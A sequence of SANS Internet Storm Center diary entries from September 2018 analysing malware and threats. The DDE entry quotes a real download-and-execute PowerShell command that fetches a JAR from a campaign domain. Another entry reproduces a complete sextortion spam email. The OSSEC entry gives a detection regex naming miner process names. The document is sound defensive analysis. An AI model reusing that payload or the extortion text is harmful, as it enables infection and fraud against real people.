Diaries

Published: 2018-09-30

When DOSfuscation Helps...

An anonymous reader submitted a malicious document after Brad posted his diary entry "One Emotet infection leads to three follow-up malware infections".

This sample (MD5 dfff3a02e6e6a4d079c12f83dcc2f7a5) is a malicious Word document with VBA macros to launch a powershell command.

The command is "DOSfuscated", and when I analyzed it by extracting strings and contatenating them, I encountered a small problem.

In this video, you can see how I did the complete analysis:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

2 Comments

Published: 2018-09-28

More Excel DDE Code Injection

The “DDE code injection” technique is not brand new. DDE stands for “Dynamic Data Exchange”[1]. It has already been discussed by many security researchers[2]. Just a quick reminder for those who missed it. In Excel, it is possible to trigger the execution of an external command by using the following syntax:

=cmd|’arguments’!cell

If some malicious Excel files were spotted recently, I found yesterday a bunch of files all related to the same campaign. The interesting fact is that all those files have a VT score of 0! Indeed, they contain a lot of junk strings and,  in the middle of them, a DDE injection:

$ head -10 24711ad4f13bde4451ebac2a2f2a5c7406f048f6b56dc1ec868d7f2da5cc8c98.vir




lljecTcCsRfkqsBfL2ud7yg1Eeeb
KZiUlYv8rqf52TeMTPvmoOPxhmFYrInZMo897D
tWgf38B1VjbL2Rp4LXyCuaDbcAk9wuSuA3PLjDmXSmIaTb6ZxEcswmHSTRXo6Fl54NRVLl7onJMgJOnxGWXayUq
GgHUNdPiWdihpKxfhuQJetYn2CpxVWUzIQZwONaVYOwQ1pvP
RsrzZKKq1GjBhFzkzXQhs9i3A5Jvb46HdNyEqpMVJtlljecTcCsRfkqsBfL2ud7yg1EeebNrKZi
Yv8rqf52TeMTPvmoOPxhmFYrInZMo897DtjtWgf38B1VjbL

By default, Excel will consider any file not recognized as a valid sheet as CSV and will open it as is.

Here is the command executed:

powershell -executionpolicy bypass -W Hidden -command "& { (new-object System.Net.WebClient).DownloadFile(\"hxxp://topehagepa[.]online\" ,\" %temp%\\WJJWBHVFUG.jar\") }" & %temp%\\WJJWBHVFUG.jar’

I'm using a YARA rule to catch them on VirusTotal and I already found some samples and related domain names.

SHA256 of samples:

002055c485975c5e66f0aa1f30eb9b96bc748285ced1147e7956577cf76180e2
ccc6bc1f52c0caa94626fc1616afcf8ebdc49a03a3dfa280c4395eeb75af144f
9d3b99b0fa2301d36bce4ae14c3df91813ed6583dd0ff7a312a66551771729a3
b8e494d1ca0ecaa36c2c7560dcc6124356aa333bb7db1416c79c1f0081ffc04f
24711ad4f13bde4451ebac2a2f2a5c7406f048f6b56dc1ec868d7f2da5cc8c98
2a0fba56858872b12d58c7d388f641e7f526ef8de814626005b209682c185a99
71ad0ea269cbcf7b170adecbc151286b69fc912b4babd08e87bd38269e21e5a4
ac411a12ab007383829aa30b2584d5865b5762455a952c405495809f78fb084e
90e26612d53425752261a88b21907e29a29ed8bb51847e4bd4cad2b2e399ba50
4eabaac1d528ab5143b3564138c0b5af41dee765a883140bc4797c2f635500a2
9b3064a08ad6729c5280941467de799886e92268a83be2407748bd38338ccb38
1987505b9b7ba75b0972b4152650ca8503de1a2d964df5dc33ec8aa10f71be59
61a9a14f8b50cbc38082ee5068608be7399a14ba84e79d536aec6fdeef54a9b4
7305236f00e95f64282309af810a7ec9a331cb07f5d708e3bf57c15b24e59a37
7d70ba42d1e5f6cdacaaccf11a8fc3166db9d846f1999673aff339163775d673
557c1e7a180708f45e8419a9439568872cacf20399f56345bbe33436b25f6e22

Domain names:

cafogekago[.]online
yepeyowora[.]online
jekarebege[.]online
gelovosaja[.]club
topehagepa[.]online
nomawesefa[.]club
saboverome[.]online
vazawoweso[.]online

All the domains resolve to the same IP address: %%ip:54.36.212.133%% (located at OVH in France) but the server is down at the moment. The downloaded file being a Java archive, there are chances that it's a classic Trojan. Anybody successfully got access to this files? I'd be happy to have a look at it.

[1] https://docs.microsoft.com/en-us/windows/desktop/dataxchg/dynamic-data-exchange
[2] https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 Comments

Published: 2018-09-27

Enriching Radare2 and x64dbg malware analysis with statically decoded strings

Today, I came across a bloated malware sample (292 Mb) full of encoded strings being distributed in Brazil through compromised WordPress websites as fake Java Updates.

One common first step while analyzing malware samples is trying to decode its strings. Although we cannot rely solely on it to make our assumptions, they may take us to significant findings.

After digging into the decryption algorithm used to decode malware strings in runtime, it was possible to write a simple Python script to reverse them statically. This way, I ended up with a list of decoded strings. They gave me many insights about the malware intentions, but it would be better to have them back to the malware while analyzing it statically or dynamically.

Studying the subject, I learned that Floss [1], a tool developed by FireEye to automatically extract obfuscated strings from malware, can generate scripts to annotate Radare2 and IDA Pro databases with the decoded strings as comments by the assembly code. It was exactly what I was looking for, but, unfortunately, Floss wasn’t able to decode the binary I was analyzing.

So, I decided to go one step further in my decoding Python script to make it generating annotation scripts. Its implementation is straightforward and requires improvements, but it helped me attaching the decoded strings to the malware while statically and dynamically analyzing using Radare2 and x64dbg respectively.

Decoding function

In today’s malware sample, the strings were encrypted with XOR algorithm. XOR algorithms are frequently used in malware and are not so difficult to reverse using brute force with tools like XORSearch and XORStrings [2] depending on the encryption key size. Bigger key sizes, as in my case, are hard to brute-force and require code analysis as seen in Figure 1.

Figure 1 – Decoding function disassembly

Decoding strings

Now that we understood the decoding algorithm and know the key, it is time to decode the strings. To this end, a simple Python script was implemented, as shown in Figure 2.

Figure 2 – Decoding function in Python

So, giving it one of the encoded strings and the key, it returns the decoded string.

Figure 3 - Decoding sample string

Batch Decoding

Once we have the decoding script working, it’s time decode all the malware embedded strings. To this end, it was necessary to extract all the binary strings and select all of those who matched to the encryption pattern. In Figure 4 it is possible to see part of the string list and its respective offsets.

Figure 4 – Encoded string list

The next step was to make the decoding script parse this file and generate the outputs. Note that the offset is necessary to further attach the decoded strings to the code.

In Figure 5 is shown the code snipped in charge of the parsing and output file generation.

Figure 5 - Generating Radare2 and x64dbg scripts

In Figure 6 we have part of the output for the x64dbg script.

Figure 6 – X64dbg script

Attaching strings back to the code

Now, it is time to run generated scripts. In Radare2 (Cutter), select and run the script by the menu File -> Run Script. In x64dbg, select and run the script while debugging the malware using the tab “Script.”

In both, the decoded strings will be annotated as comments by the assembly code which references the original encoded strings, as shown in Figures 7 and 8.

Figure 7 – Decoded strings in Radare2

Figure 8 – Decoded strings in x64dbg

Final words

As described, this was the way I found to make it easier to make sense of decoded strings while analyzing statically and dynamically this malware. I hope it can be helpful for other analysts. If you know or use different ways to this, share with us!

IOCs

MD5 143081b4031958288dc2a3e9f1d5008d

References

[1] https://www.fireeye.com/blog/threat-research/2016/06/automatically-extracting-obfuscated-strings.html
[2] https://blog.didierstevens.com/programs/xorsearch/

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

0 Comments

Published: 2018-09-26

One Emotet infection leads to three follow-up malware infections

Introduction

During 2018, Emotet has been a continual presence in the malicious spam (malspam) landscape.  With few exceptions, malspam from this campaign is active every weekday.  As the months progress, I've generally found follow-up malware from Emotet infections in my lab.  I wrote about one such malware team-up back in July 2018, and Symantec has published an in-depth look at Emotet's evolution from banking Trojan to a delivery service for other threat actors.

In recent weeks, I've generally seen Emotet retrieve Trickbot, the IcedID banking Trojan, or spambot malware for its follow-up infection.  I rarely see Emotet retrieve more than one type of follow-up malware.  But on Tuesday 2018-09-25, my infected lab host retrieved Trickbot and IcedID immediately after an Emotet infection.  Then IcedID caused another infection with AZORult on the same host.


Shown above:  Flow chart for the infection.

Emotet malspam

I currently find three types of Emotet malspam.  The first type has an attached Microsoft Word document with a macro.  The macro is designed to infected a vulnerable Windows host with Emotet.

The second type of Emotet malspam has a link to download the malicious Word document instead of an attachment.

The third type of Emotet malspam has a PDF attachment without any links in the message.  The PDF file contains a link to download the malicious Word document.

All three cases involve a malicious Word document with macros.  In all three cases, opening the Word document and enabling macros will kick off the infection process on a vulnerable Windows host.


Shown above:  Three different types of malspam for Emotet infections.


Shown above:  Example of Emotet malspam with a PDF attachment.


Shown above:  Downloading an Emotet Word document and enabling macros.

Infection traffic

I kicked off an infection with a URL that retrieved an Emotet Word doc.  This could've come from an email link, or it could've come from a PDF attachment.  There's no way tell based on the URL alone.

Shortly after my lab host was infected with Emotet, I saw indictors of a Trickbot infection.  I also saw indicators of an IcedID infection.  Finally, I saw an HTTP request that returned an AZORult malware binary, and it was followed by AZORult post-infection traffic.  See the image below for details.


Shown above:  Traffic from the infection filtered in Wireshark.

The Emotet infection was kept persistent on my infected lab host through the Windows registry.  IcedID and Trickbot were kept persistent through a scheduled task.  After the AZORult executable ran on my infected lab host, it deleted itself, and I didn't find any method of persistence for AZORult.


Shown above:  Emotet persistent on my infected Windows host.


Shown above:  IcedID persistent on my infected Windows host.


Shown above:  Trickbot persistent on my infected Windows host.

Indicators

The following are indicators (IP addresses, domain names, and file hashes) associated with the infection of my Windows lab host.

Traffic from the Emotet infection:

  • 5.101.138.188 port 80 - sloegincottage.co.uk - GET /tyoinvur/En_us/Clients/092018/
  • 108.167.161.63 port 80 - louisianaplating.com - GET /18Ge0wDF
  • 88.208.252.82 port 80 - stonehouse.me.uk - GET /AlvUfSm
  • 88.208.252.82 port 80 - stonehouse.me.uk - GET /AlvUfSm/
  • 190.147.53.140 port 8090 - 190.147.53.140:8090 - GET /
  • 201.111.8.75 port 50000 - Attempted TCP connections, but no response from the server
  • 31.167.248.50 port 443 - 31.167.248.50:443 - GET /whoami.php
  • 31.167.248.50 port 443 - 31.167.248.50:443 - POST /

Traffic from the Trickbot infection:

  • port 80 - icanhazip.com - GET /   (IP address check by the infected host, not inherently malicious)
  • 170.81.32.66 port 449 - SSL/TLS traffic caused by Trickbot
  • 195.123.210.156 port 447 - SSL/TLS traffic caused by Trickbot
  • 138.34.45.133 port 8082 - 138.34.45.133:8082 - POST /arz1/[long string with host info]/90

Traffic from the IcedID infection:

  • 93.189.41.44 port 443 - calgama.com - HTTPS/SSL/TLS traffic caused by IcedID
  • 185.154.21.160 port 80 - segregory.website - GET /data2.php?B41857926E193158

Traffic associated with the AZORult infection:

  • 108.167.137.17 port 80 - www.pruebas.litcel.com - GET /crypt_AU3_EXE.exe   (caused by IcedID)
  • 107.182.230.25 port 80 - 107.182.230.25 - POST /index.php

File hashes for malware retrieved from the infected Windows host follow.

SHA256 hash: 34fd8ab80ff403db687517beac2b1d3024f69119e73c054ffe6686b1a0a40489

  • File size: 211,584 bytes
  • File description: Downloaded Word doc with macro for Emotet

SHA256 hash: d9352b362629bdcd5d7c830a3ea9c5f55d1e0be4240b5df2867903fb317ee7d3

  • File size: 219,648 bytes
  • File description: Emotet malware executable
  • File location: C:\Users\[username]\AppData\Local\Microsoft\Windows\[various file names].exe

SHA256 hash: 806bc3a91b86dbc5c367ecc259136f77482266d9fedca009e4e78f7465058d16

  • File size: 519,149 bytes
  • File description: Trickbot caused by Emotet infection (gtag: arz1)
  • File location: C:\Users\[username]\AppData\AIMT\[string of characters].exe

SHA256 hash: 2cbb833b3410d0d27719614f3b4ffe8f16d7dd5242a8b85f35619405b110784e

  • File size: 392,192 bytes
  • File description: IcedID caused by Emotet infection
  • File location: C:\ProgramData\{12345678-1234-1234-1234-12345689ABC}\[string of characters].exe   --   various hex digits between the { }

SHA256 hash: 80aa7f6f6b25aaf43e52d5ca6971f5dac45b3b2e0ed5c5f3843080b03771c2cc

  • File size: 536,576 bytes
  • File description: AZORult caused by IcedID infection
  • File location: C:\Users\[username]\AppData\Local\[string of characters].exe
  • File location: hxxp://www.pruebas.litcel.com/crypt_AU3_EXE.exe

Final words

Most enterprise spam filters are quite good at blocking malspam pushing Emotet.  From what I can tell, online email services like Gmail and Yahoo also seem to keep these messages from your inbox.  But it only takes one message to make it through, and it only takes one person to click their way through any warnings to successfully infect a vulnerable Windows host.

However, properly-administered and up-to-date Windows hosts are not likely to get infected.  Windows warns potential victims if such Word documents are downloaded from the Internet, and recent versions of Microsoft Office have a Protected View feature that should prevent people from accidentally enabling these macros.  Furthermore, system administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Email examples, pcap, and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

9 Comments

Published: 2018-09-25

Sextortion Spam and the Infinite Monkey Theorem

As early as 2018-09-05, I've seen daily waves of sextortion spam that have spoofed yahoo.jp in the message headers and sending addresses.  Subject lines include a password the recipient allegedly uses.  Extortion prices range from $1,000 to $7,000 US dollars.

Back in July 2018, Johannes Ullrich wrote about an example here.  Brian Krebs also documented a wave earlier that month.  But recent sextortion emails appear to be mass-distributed without any real or current passwords.  Krebs indicated these criminals were using password lists from older data breaches.  However, these most recent waves don't seem particularly targeted.


Shown above:  An example of sextortion spam from Monday, 2018-09-24.

By now, many of us have probably seen or heard about these sextortion emails.  They are botnet-based spam, and emails from this latest campaign follow noticeably distinct patterns.  A different Bitcoin address is used for each message I've reviewed.  50 examples of this sextortion spam from Monday 2018-09-24 are available here.


Shown above:  Some metadata from my spreadsheet tracker for Monday, 2018-09-24.

These messages have different passwords for each recipient and different Bitcoin addresses for each message.  It's done on a massive scale of distribution, and I've only found English-speaking recipients.  I run across this type of spam at least every weekday.  I suppose criminals must find it cost-effective.

But does this actually work?

Criminals behind the campaign assume most people view pornography on their computers.  But the majority of passwords from this spam don't follow lists of most common passwords I've seen published.  The passwords in these messages appear to be somewhat random, even if they are based on information from data breaches.

I feel like this campaign is attempting to prove the infinite monkey theorem.  It states that a monkey hitting keys at random on a typewriter keyboard for an infinite amount of time will almost surely type a given text, such as the complete works of William Shakespeare.  The infinite monkey theorem has been referenced several times in popular culture over the years.  My favorite reference is this Simpsons cartoon scene.


Shown above:  "This is a thousand monkeys working at a thousand typewriters.
Soon they'll have written the greatest novel known to man."

The idea may not be so far-fetched.  Given the amount of sextortion spam I run across in my day-to-day work, it might hit on someone's actual current password.  I doubt it, but it's possible.

An example of the sextortion spam follows.

just4fun one of your pass word. Lets get straight to the purpose. You do not know me and you're probably wondering why you're getting this e-mail? No one has compensated me to investigate about you.

Well, I installed a software on the xxx video clips (porno) website and guess what, you visited this website to have fun (you know what I mean). While you were viewing video clips, your internet browser began working as a RDP with a key logger which provided me access to your display screen and also web cam. Just after that, my software gathered all your contacts from your Messenger, Facebook, as well as emailaccount. And then I made a double video. 1st part shows the video you were viewing (you've got a good taste hehe), and second part displays the recording of your webcam, yeah it is u.

You get two choices. Why dont we understand these types of possibilities in particulars:

1st option is to ignore this message. In this situation, I most certainly will send out your very own video clip to all your your personal contacts and thus think concerning the shame that you receive. Not to mention if you happen to be in an intimate relationship, precisely how this will affect?

Latter option would be to give me $7000. I will regard it as a donation. In this scenario, I most certainly will immediately remove your video footage. You can go on your life like this never took place and you surely will never hear back again from me.

You will make the payment by Bitcoin (if you don't know this, search "how to buy bitcoin" in Google).

BTC Address to send to: 13Uw4tqt31ar8RauE8AEtdTxYe52wD9Y3Z
[CASE-sensitive, copy & paste it]

Should you are wondering about going to the cops, very well, this email cannot be traced back to me. I have covered my moves. I am also not trying to demand much, I simply prefer to be rewarded.

You now have one day in order to pay. I have a special pixel within this email message, and now I know that you have read this email. If I do not get the BitCoins, I will, no doubt send out your video to all of your contacts including relatives, colleagues, etc. However, if I do get paid, I will erase the video immediately. If you need proof, reply Yup and I will send out your video to your 6 contacts. It's a nonnegotiable offer and so please do not waste my time and yours by replying to this email message. 

 

Final words

I'm not sure how effective this sextortion campaign really is.  But due to poor security practices of potential victims, and based on how vulnerable some people are to suggestion, I suppose someone might be tricked into paying the criminals.

If countless variations of the Nigerian Prince scam have convinced people to share their bank account information, this sextortion scam might also be viable.

50 email examples and a spreadsheet tracker associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

5 Comments

Published: 2018-09-24

Analyzing Encoded Shellcode with scdbg

Reader Jason analyzed a malicious RTF file: using OfficeMalScanner and xorsearch he was able to extract and find the entry point of the shellcode, but scdbg was not able to emulate the shellcode.

Finally, Jason figured out what the shellcode did via dynamic analysis using jmp2it.

I took a look and found a way to conduct the analysis with scdbg.

rtfdump.py is what I used first to start analyzing the RTF file:

Taking a look at the 3rd item, I see it contains an OLE file:

This can be extracted and then analyzed with oledump.py:

This is the content of the stream:

That dump doesn't give much clues at first sight. Neither does strings:

This is probably encoded shellcode.

But the entrypoint is not at position zero (I immediately get an error):

xorsearch has embedded rules to detect instructions often found inside shellcode. Option -W needs to be used to search with these embedded rules:

2 common shellcode methods to locate its position in memory (GetEIP methods) are found, at addresses 4CE and 305 (unencoded: XOR 00).

This is what Jason found on his own, and then he used jmp2it to execute the shellcode, to discover that it's a downloader.

Here I'm going to show how this analysis can be concluded with scdbg.

Using option /foff, scdbg can be directed to start emulating shellcode at the position specified with /foff:

I get an error too, but notice that the stepcount is 2650. This means that scdbg was able to emulate 2650 instructions of the shellcode, so I probably found the correct entrypoint.

Now I check if the shellcode decoded itself (with those 2650 instructions). I do this with option /d, this dump option directs scdbg to write the unpacked shellcode to disk:

The shellcode has changed, and the first change is at position 1454. The complete shellcode, with changes, is written to file sc.unpack.

Looking at this file starting from position 1454, a URL is revealed:

Now, strings reveals more strings:

It's easy to understand that this is a downloader: I see the URL and the filename.

Although scdbg is not able to emulate the complete shellcode, it is able to emulate the decoder stage of the shellcode, and dump the decoded shellcode to disk. Of course, once decoded, the decoded shellcode will be executed. This is what jmp2it was able to do, but scdbg not. The decoded shellcode contains enough cleartext strings to reveal its purpose and provide good IOCs.

By tracing the execution of the decoder stage, it becomes clear what encoding is used:

It's XOR encoding: 4 bytes at a time are decoded with a key (register edi) that changes with each loop iteration: multiply the key with 1b09af21 and add 198677c1.

This is an exploit for %%cve:2018-11882%% ("Equation Editor vulnerability"):

The exploit (a buffer overflow that overwrites a return address) leads to the execution of shellcode at location E:

But scdbg is not able to emulate this shellcode, as it reads data from the Equation Editor process memory to locate instructions and API functions.

There have been several write-ups that analyze this shellcode in detail, like this one.

But for quick analysis, if scdbg can decode the shellcode, a string analysis is often enough. So if you get an error with scdbg, check if it didn't emulate enough to help understand what the shellcode does.

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2018-09-22

The danger of sending information for API consumption without adequate security measures

Migrating an on-premise application to the cloud can bring numerous business advantages to companies, among which we have fast deployment times and reusability of functions and decrease complexity in operation and evolution through the use of microservices that are communicated through of the use of API.

During the work of the course for the conformation of incident response teams that I direct at Instituto Tecnológico Metropolitano in Medellín, Colombia, we noticed the following case of a production API: there is an API that is consumed to perform the authentication of a fingerprint that was read through an APP located in a mobile phone. The fingerprint is digitalized using the Wavelet Scalar Quantization (WSQ) Gray-scale Fingerprint Image Compression Algorithm, which is the standard for the exchange of 8-bit, 500ppi fingerprint images, used as well in the criminal justice community. If you have and enforced connection with controls like HTTP Strict Transport Security (HSTS), Perfect Forward Secrecy (PFS) and mutual TLS cert authentication, you will have a strong protection against man-in-the-middle attacks. If not, your connection might be tampered. The following snippet was captured when performing an MITM (snippet truncated for security purposes):

Base64 is not a good choice to hide information. When you decode this information, you get a binary file which is in WSQ format. We will use the NIST Biometric Image Software Mirror located at https://github.com/lessandro/nbis to decode it and then we have a complete fingerprint that can be used to impersonate the owner's identity (truncated for security purposes):

How can you enforce the confidentiality and integrity of the communication and message?

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name

0 Comments

Published: 2018-09-22

Suspicious DNS Requests ... Issued by a Firewall

An anonymous reader contacted us because he noticed DNS requests for malicious domains originating from his Windows machine, even before he opened a browser.

Looking at the provided capture file, I noticed indeed DNS requests for malicious domains, but also for security related domains, like ClamAV. But these DNS requests were not followed by TCP connections.

With more information provided by the reader, I could confirm one of my theories: on his Windows machine, the reader was using a firewall (Privatefirewall) that accepts rules with domain names to allow/block. There were rules designed to block access to the malicious domain names this reader was noticing.

Here I configure it to block www.example.com (on 32-bit Windows, the firewall hanged on my 64-bit Windows VM):

 

To establish TCP connections, a destination IP address is needed: hostnames like www.example.com have to be translated to an IP address before a TCP connection can be established.

Likewise, for a firewall to block TCP connections with rules with hostnames, the firewall has to lookup these hostnames via DNS requests.

This is what this firewall does, soon after user logon.

It's not an indication of malicious activity, but normal behavior of a security tool that has to translate hostnames to IP addresses to be able to do its job.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2018-09-21

Pre-Pwned AMI Images in Amazon's AWS public instance store

I keep getting reports about AMI images in Amazon's AWS, which come "pre-pwned." These images typically include for the most part crypto coin miners, but the also include backdoors or more subtle malicious modifications.

One reason users fall for these images appears to be that they search for images without considering the "owner" of the image. This way, you may fall for look-alike images that claim include a popular Linux distribution or that even offer fully patched versions of this distribution.

What I am looking for right now is current examples of such malicious images. If you are aware of any, please let me know.

Just like whenever you use an external component, it is important to secure your "supply chain." In this case, you need to stick to images created by reputable sources (for example Amazon itself should be considered reputable). But in a couple of cases, I was told that vendors offer images with their software preinstalled, that are based on backdoored images. This is likely due to the vendor not performing their due diligence.

Again: Right now I am looking for examples, so if you have one, please use our contact form (https://isc.sans.edu/contact.html) to let me know how to find it and more importantly, how you came across it.

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2018-09-20

Hunting for Suspicious Processes with OSSEC

Here is a quick example of how OSSEC[1] can be helpful to perform threat hunting. OSSEC  is a free security monitoring tool/log management platform which has many features related to detecting malicious activity on a live system like the rootkit detection or syscheck modules. Here is an example of rules that can be deployed to track malicious processes running on a host (it can be seen as an extension of the existing rootkit detection features). What do I mean by malicious processes? Think about crypto miners. They are plenty of suspicious processes that can be extracted from malicious scripts (see my previous diary[2] about this topic). 

OSSEC has a nice feature which allows monitoring the output of a system command. A basic rule coming in any freshly deployed OSSEC agent is the disk space monitoring. OSSEC performed a ‘df’ command at regular interval and searched for ’100%’ in the output:

<rule id="531" level="7" ignore="7200">
    <if_sid>530</if_sid>
    <match>ossec: output: 'df -h': /dev/</match>
    <regex>100%</regex>
    <description>Partition usage reached 100% (disk space monitor).</description>
    <group>low_diskspace,</group>
</rule>

The idea is to search for malicious running processes on a system using the same technique. In the case of trojaned systems, commands like /bin/ps could be replaced to hide some processes. A better approach is to use the /proc virtual filesystem to list the running processes. Here is the command that I use:

# find /proc -name comm -exec cat "{}" \; 2>/dev/null |sort -u

It searches for /proc/<pid>/comm files that expose the process's command name associated with the process. Example of generated output:

accounts-daemon
acpi_thermal_pm
apache2
arpwatch
ata_sff
atd
bash
charger_manager
cpuhp/0
cpuhp/1
cron
crypto
dbus-daemon
devfreq_wq
ecryptfs-kthrea
edac-poller
ext4-rsv-conver
find
gdbus
gmain
ib-comp-wq
…

Let’s define this command in OSSEC by adding an entry in $OSSEC_HOME/etc/ossec.conf:

<localfile>
    <log_format>full_command</log_format>
    <command>find /proc -name comm -exec cat "{}" \; 2>/dev/null |sort -u</command>
    <frequency>180</frequency>
</localfile>

The ‘full_command’ type helps to return the output as a single line to be easily parsed later. Now, the create a rule in $OSSEC_HOME/rules/local_rules.xml:

<rule id="100405" level="7" ignore="7200">
    <if_sid>530</if_sid>
    <match>ossec: output: 'find /proc</match>
    <regex>Duck.sh|accounts-daemon|bonn.sh|kworker34|minerd|minergate|minexmr|mixnerdx|myatd|polkitd|rootv2.sh|jaav|jva|kw.sh|kxjd|mule|mutex</regex>
    <description>Searching for suspicious processes</description>
    <group>hunting,</group>
 </rule>

The regex has been created from a list of processes found in a crypto miner installation script. Deploy the updated config files, restart the OSSEC processes. Now, let's create a fake suspicious process on a monitored host and wait for a few minutes. You should get the following alert:

OSSEC HIDS Notification.
2018 Sep 20 08:18:20

Received From: (shiva) 192.168.254.8->find /proc -name comm -exec cat "{}" \; 2>/dev/null |sort -u
Rule: 100405 fired (level 7) -> "Searching for suspicious processes"
Portion of the log(s):

ossec: output: 'find /proc -name comm -exec cat "{}" \; 2>/dev/null |sort -u':
(sd-pam)
accounts-daemon
acpi_thermal_pm
apache2
arpwatch
ata_sff
atd
bash
charger_manager
cpuhp/0
cpuhp/1
cron
crypto
dbus-daemon
devfreq_wq
ecryptfs-kthrea
edac-poller
ext4-rsv-conver
find

--END OF NOTIFICATION

It's time to investigate!

Note that this simple alert may generate a lot of false positives! Another approach could be to check the process name combined with its working directory because many crypto miners use common process names (ex: 'apache'). But 'apache' running from /tmp is definitively suspicious! Happy hunting!

If you want to learn more about how to use OSSEC for threat hunting, I'll do a training at DeepSec (Vienna, Austria) in November about this topic[3].

[1] https://www.ossec.net
[2] https://isc.sans.edu/forums/diary/Crypto+Mining+Is+More+Popular+Than+Ever/24050/
[3] https://deepsec.net/speaker.html#WSLOT378

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 Comments

Published: 2018-09-19

Certificates Revisited - SSL VPN Certificates 2 Ways

As a consultant that does lots of network "stuff", I tend to build SSL VPN access for lots of clients.  And a few times per year, I get the "our certificate has just expired" call from one client or another.

We covered off the "find / enumerate all the certificates for an organization " 2 weeks back, but what if you are just looking for, say, all the certificates for the Cisco AnyConnect VPN profiles in your list?  That'd be handy to head off those emergency cert expiry calls.

First of all, AnyConnect profiles are all stored as XML files in C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Profile, which means we can get the list in PowerShell like this:

$files = get-childitem('C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Profile\')

The files are in XML, so you can parse them like this (fullname includes the path):

foreach ($f in $files) {
   [xml]$custprofile = get-content $f.fullname

Once read, we're just looking for the "hostaddress" xml tag, which is either the FQDN or the IP address of the target:

$hostaddr = $custprofile.anyconnectprofile.serverlist.hostentry.hostaddress

After that, we're callling nmap, using the ssl-cert.nse script:

$results = & "nmap" -sT -p443 --open $hostaddr --script=ssl-cert.nse

Once that's done, dump out selected lines to a "results" file:

$results | sls report,issuer,algorithm,after >> results.txt

In this example, we're using "select string" (sls) to look for the hostname, the Issuer of the certificate, the Signature Algorithm and the expiry date ("not valid after")
What I'm looking for is:

  • Self-Signed certificates
  • Certs signed by "problem" CAs (Symantec for instance)
  • Certs with "problem" algorithms (md5 for instance, yes we still see those in the wild)
  • Certs that are expired

Putting it all together:

$files = get-childitem('C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Profile\')

foreach ($f in $files) {
   [xml]$custprofile = get-content $f.fullname
   $hostaddr = $custprofile.anyconnectprofile.serverlist.hostentry.hostaddress
   $results = & "nmap" -sT -p443 --open $hostaddr --script=ssl-cert.nse
   $results | sls report,issuer,algorithm,after >> results.txt
}

What do our results look like?  I picked a few respresentative ones below:


Note that some of these don't have FQDN's, they're only accessed by IP address.  SSL will never work right for those profiles, as there's no "CN" in the request to match the certificate. 

How would this look for Palo Alto's GlobalProtect VPN Client?  Not much different, except that PA stores their VPN profiles in the Windows Registry instead of in files.

First, let's grab the profiles:

$GPProfiles = gci -Path 'HKCU:\software\Palo Alto Networks\GlobalProtect\Settings'

For each of the profiles, we'll split the name by "\", and split off the registry info, grabbing only the last (5th from zero) item, which is the hostname:

foreach($prf in $GPProfiles) {
   $hostaddr = $prf.name.split('\')[5]
   $hostaddr
}

This gives us the hostnames (or IP addresses) for the same commands as for the Cisco VPN.  The final script for PAN Certificate enumaeration is:


$GPProfiles = gci -Path 'HKCU:\software\Palo Alto Networks\GlobalProtect\Settings'
foreach($prf in $GPProfiles) {
   $hostaddr = $prf.name.split('\')[5]
   $results = & "nmap" -sT -p443 --open $hostaddr --script=ssl-cert.nse
   $results | sls report,issuer,algorithm,after >> results.txt
}

Since the end result is the same parsed-out nmap output, the output for the Palo Alto Globalprotect enumeration is the same as for Cisco AnyConnect (only 3 certs shown):

Run these scripts (or the equivalent script for your VPN client) once a month or so, and certificate expiry dates become email notifications in advance, instead of panic renewals after expiry!

There are of course a zillion VPN clients out there - do you have a similar script for yours?  Please, share using the comment form!

===============
Rob VandenBrink
Compugen

2 Comments

Published: 2018-09-18

Using Certificate Transparency as an Attack / Defense Tool

Certificate Transparency is a program that we've all heard about, but might not have had direct contact with.  We do hear about it from time to time, for instance when Google (or someone else) busts a CA for generating certificates that should not exist  (which is what eventually led to the Symantec CA implosion event ..).  I kinda knew about mostly from mentions in the ISC Stormcast.

Anyway, the Cert Transparency program has Certifficate Authorities keeping a transparent log of EV certificates since Jan 1, 2015, and logs for DV and OV certificates as of May 2, 2018 (more here: https://www.certificate-transparency.org/ ).  This means that there are central, queriable repo's for all SSL certificates.  As soon as I hear "central database" and "API", I tend to ask "how can I use that for other purposes" - for instance, how I use that in Penetration Tests?

One of the truisms of of pentests is that you can only test/attack hosts or services that you know are there - that's what the recon phase of your pentest is all about.  Certificate Transparency logs gives you a whole new method of assembling a list of targets during recon.

Let's take a look at a few of the vendor interfaces to the data.  Starting with Comodo's CT interface - making a query https://crt.sh/?q=sans.org gets us a nice list of certs:

Though that API approach is very simple to use, I found this GUI interface a bit clumsy to navigate to the info you really want.  The Entrust interface at https://www.entrust.com/ct-search/ is a bit easier to navigate, but doesn't have that easy ability to translate a browser based query to a curl or other script based approach.

SSL mate allows you to monitor for any new certificates in your list of domains - which is handy if you've maybe got a marketing group that's active in AWS but isn't telling IT everything that's going on over there :-)

Whatever interface you use, clicking on anything on a results page will get you more and more (and more) detail. What can we use in these listings?

First, start with the domain that you know about.  Query that, and you'll get the list of all certs issued to that domain.  How can you use that?  Grab the CN's (Common Name) for the certificates, and you'll have a starter host list.  Add the SAN fields (Subject Alternative Names) and you'll generally have a longer list of hosts.

